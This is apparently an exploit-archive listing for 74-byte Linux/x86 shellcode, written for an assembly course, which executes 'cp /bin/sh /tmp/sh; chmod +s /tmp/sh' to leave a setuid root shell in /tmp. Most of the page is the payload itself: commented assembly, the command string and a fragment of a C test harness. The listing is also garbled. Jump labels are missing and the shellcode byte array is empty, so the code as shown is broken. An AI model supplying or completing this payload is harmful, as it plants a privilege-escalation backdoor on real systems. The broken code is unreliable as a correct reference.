Linux/x86 Setuid Shell Shellcode

74 bytes small Linux/x86 cp /bin/sh /tmp/sh; chmod +s /tmp/sh shellcode.

MD5 | 3ddc9eeb64e408e1b68c86ecbad57577


Title: Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh
Author: absolomb
SLAE-ID: 1208
Purpose: cp shell into /tmp and setuid
Tested On: Ubuntu 14.04
Arch: x86
Size: 74 bytes

Shellcode is register independent and null free.

global _start

section .text

push 0xb ; execve()
pop eax ;
cdq ; set edx to 0
push edx ; NULL
push word 0x632d ; "c-"
mov edi,esp ; point edi to stack
push edx ; NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "/bin"
mov ebx,esp ; point ebx to stack
push edx ; NULL

jmp short cmd


push edi ; "c-"
push ebx ; "/bin/sh"
mov ecx,esp ; point to stack
int 0x80 ; execute execve

call execute
db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh"


unsigned char code[] = \

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;



Related Posts